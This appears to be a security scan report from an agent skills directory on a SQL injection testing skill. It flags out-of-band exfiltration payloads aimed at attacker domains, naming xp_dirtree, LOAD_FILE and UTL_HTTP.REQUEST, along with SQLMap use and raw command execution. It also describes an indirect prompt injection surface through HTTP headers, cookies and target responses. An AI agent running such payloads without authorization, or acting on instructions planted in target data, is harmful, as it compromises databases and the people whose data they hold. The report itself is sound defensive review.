The Agent Skills Directory

[DATA_EXFILTRATION]: The skill contains Out-of-Band (OOB) SQL injection payloads explicitly designed to exfiltrate database information to external, non-whitelisted domains.
Evidence: Payloads in SKILL.md use xp_dirtree targeting \\attacker-server.com\share, LOAD_FILE targeting @@version.attacker.com, and UTL_HTTP.REQUEST targeting http://attacker.com/.
[EXTERNAL_DOWNLOADS]: The technical requirements mandate the use of SQLMap, an external automated exploitation tool. Relying on external, non-standard tooling for exploitation increases the risk of automated malicious activity and unverifiable dependency execution.
[COMMAND_EXECUTION]: The workflow describes the generation and execution of raw SQL commands, including query stacking and system stored procedure calls (e.g., EXEC master..xp_dirtree). These commands are intended to manipulate database behavior and can lead to unauthorized data access or system compromise.
[PROMPT_INJECTION]: The skill identifies various user-controlled inputs, such as URL parameters, HTTP headers, and cookies, as target injection points. This creates a surface for Indirect Prompt Injection, where untrusted data returned from a target web application could influence the agent's logic or subsequent actions.
Ingestion points: Web application parameters, HTTP headers (User-Agent, Referer), and cookie values.
Boundary markers: Absent; no specific instructions are provided to the agent to ignore or sanitize embedded instructions within target responses.
Capability inventory: The agent is instructed to use SQLMap and manually craft/execute SQL payloads across various database engines.
Sanitization: No sanitization or validation of the untrusted target data is described before the agent processes it.

sql-injection-testing